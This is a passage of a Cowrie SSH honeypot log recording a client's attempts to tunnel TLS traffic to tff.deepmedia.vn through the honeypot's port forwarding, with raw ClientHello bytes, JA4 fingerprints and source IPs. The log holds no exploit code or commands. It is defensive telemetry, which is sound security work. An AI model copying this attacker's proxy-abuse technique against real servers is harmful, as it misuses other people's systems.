\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:33.230054Z","src_ip":"23.175.50.51","session":"28f6c09937f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:33.233634Z","src_ip":"23.175.50.51","session":"28f6c09937f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03e\\x06\"\\xcf\\xfb\\xd09:\\x8d\\xb4\\x83/\\xd6.\\x94\\xab\\xf6w\\x00\\xee\\x9a|\\x13FV\\xe2<\\x1d\\x81\\x11\\xd3\\xde \\x0b\\xe7\\xd7\\x90\\xc7Z\\xc1\\x08\\x94\\xe1Gy\\xbf\\xb1b\\x1a\\x05\\x84\\x85\\x08\\xdd\\xfeA0\\xf0\\xabvQ\\xf80\\x0cw\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 I\\xcf\\x8c\\xc2\\xde\\xa6\\xc5\\x03\\x85B\\xbd\\xc2\\xca\\xb8\\x80\\xc5\\x88l\\x8d\\x9bU\\xbd\\n\\x86\\xf7\\xa8rqwk\\xc2i\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03e\\x06\"\\xcf\\xfb\\xd09:\\x8d\\xb4\\x83/\\xd6.\\x94\\xab\\xf6w\\x00\\xee\\x9a|\\x13FV\\xe2<\\x1d\\x81\\x11\\xd3\\xde \\x0b\\xe7\\xd7\\x90\\xc7Z\\xc1\\x08\\x94\\xe1Gy\\xbf\\xb1b\\x1a\\x05\\x84\\x85\\x08\\xdd\\xfeA0\\xf0\\xabvQ\\xf80\\x0cw\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 I\\xcf\\x8c\\xc2\\xde\\xa6\\xc5\\x03\\x85B\\xbd\\xc2\\xca\\xb8\\x80\\xc5\\x88l\\x8d\\x9bU\\xbd\\n\\x86\\xf7\\xa8rqwk\\xc2i\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:33.236896Z","src_ip":"23.175.50.51","session":"28f6c09937f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:33.595414Z","session":"28f6c09937f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:33.600317Z","session":"28f6c09937f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:33.658467Z","src_ip":"23.175.50.51","session":"28f6c09937f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03g`=\\x9a\\x86\\x12{\\xad=\\xad\\xe1\\xdd\\x03\\x94%\\x85\\xdd\\x84\\xa8\\x87g\\xc4ku\\xd5\\x81(\\x01\\xce\\xfd\\xa1Q fV\\x82\\xd9\\xc6\\xcb\\x92\\n\\x99\\xad\\'\\x84\\x93\\x16\\xe4t\\x04\\x06\\x98\\x11mK\\xf1\\xc8X\\xce\\x81.\\t\\xde+\\x16\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd0s\\xd2!\\xfa\\xd4\\xfag\\xed=\\xbc\\x1d\\xa4\\xad\\xb5x\\xfer\\xd6-9\\xff\\xd8\\xc8\\xc5\\xd5\\xe1{m\\x1dq \\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":4,"message":"discarded direct-tcp forward request 4 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03g`=\\x9a\\x86\\x12{\\xad=\\xad\\xe1\\xdd\\x03\\x94%\\x85\\xdd\\x84\\xa8\\x87g\\xc4ku\\xd5\\x81(\\x01\\xce\\xfd\\xa1Q fV\\x82\\xd9\\xc6\\xcb\\x92\\n\\x99\\xad\\'\\x84\\x93\\x16\\xe4t\\x04\\x06\\x98\\x11mK\\xf1\\xc8X\\xce\\x81.\\t\\xde+\\x16\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd0s\\xd2!\\xfa\\xd4\\xfag\\xed=\\xbc\\x1d\\xa4\\xad\\xb5x\\xfer\\xd6-9\\xff\\xd8\\xc8\\xc5\\xd5\\xe1{m\\x1dq \\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:33.663257Z","src_ip":"23.175.50.51","session":"28f6c09937f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:33.669189Z","src_ip":"23.175.50.51","session":"28f6c09937f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc9r\\x16\\xdb\\xeaJ\\x87_\\xdc\\x99\\xb4!\\xa1\\x028~E\\x12\\x03?\\xaao\\xa9bir\\x00\\x19\\xb6S\\x10\\xcd z\\xfe\\xa7F\\xadwNc\\xc2l\\xebT\\xbc\\\\\\x03\\xa8\\x158\\xc9\\xf3>\\x04V\\xf8\\x911\\x10\\xe77\\xb4?{\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x7f\\xebxz\\xd6\\xa1\\x7f\\xdcS4\\xd6\\xc3\\xfbv\\x8bTRgI\\x9b\\xb9o\\xbbTF\\x85\\x02|)\\xe3\\x87h\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc9r\\x16\\xdb\\xeaJ\\x87_\\xdc\\x99\\xb4!\\xa1\\x028~E\\x12\\x03?\\xaao\\xa9bir\\x00\\x19\\xb6S\\x10\\xcd z\\xfe\\xa7F\\xadwNc\\xc2l\\xebT\\xbc\\\\\\x03\\xa8\\x158\\xc9\\xf3>\\x04V\\xf8\\x911\\x10\\xe77\\xb4?{\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x7f\\xebxz\\xd6\\xa1\\x7f\\xdcS4\\xd6\\xc3\\xfbv\\x8bTRgI\\x9b\\xb9o\\xbbTF\\x85\\x02|)\\xe3\\x87h\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:33.671808Z","src_ip":"23.175.50.51","session":"28f6c09937f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"30.7","message":"Connection lost after 30.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:36.493879Z","src_ip":"23.175.50.51","session":"28f6c09937f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.148.145.132","src_port":54504,"dst_ip":"10.17.0.5","dst_port":22,"session":"81ae24d7f43f","protocol":"ssh","message":"New connection: 23.148.145.132:54504 (10.17.0.5:22) [session: 81ae24d7f43f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:37.436012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:37.440835Z","src_ip":"23.148.145.132","session":"81ae24d7f43f","protocol":"ssh"}
